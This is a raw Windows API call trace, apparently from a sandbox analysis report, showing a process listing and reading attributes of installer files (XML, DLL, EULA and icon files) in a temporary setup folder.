	[0237.165] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.165] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558)) returned 1
	[0237.167] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.167] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c621574, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x1013)) returned 1
	[0237.167] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.167] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.167] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.417] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.448] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.510] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client" (normalized: "c:\\588bce7c90097ed212\\client"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client" (normalized: "c:\\588bce7c90097ed212\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.546] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0237.546] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.546] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0237.546] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0237.546] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.546] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0237.546] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.547] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444)) returned 1
	[0237.547] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.547] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882)) returned 1
	[0237.548] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.549] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x2d06bdca, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff6)) returned 1
	[0237.549] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.549] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.549] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0237.751] SetEvent (hEvent=0x17c) returned 1
	[0237.751] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5)) returned 1
	[0237.780] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.780] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended" (normalized: "c:\\588bce7c90097ed212\\extended"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended" (normalized: "c:\\588bce7c90097ed212\\extended"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.780] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0237.781] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.781] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0237.781] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0237.781] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.781] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0237.781] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.781] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82)) returned 1
	[0237.782] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.782] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a)) returned 1
	[0237.783] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.783] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics" (normalized: "c:\\588bce7c90097ed212\\graphics"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.783] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics" (normalized: "c:\\588bce7c90097ed212\\graphics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.783] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0237.833] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.833] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0237.834] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
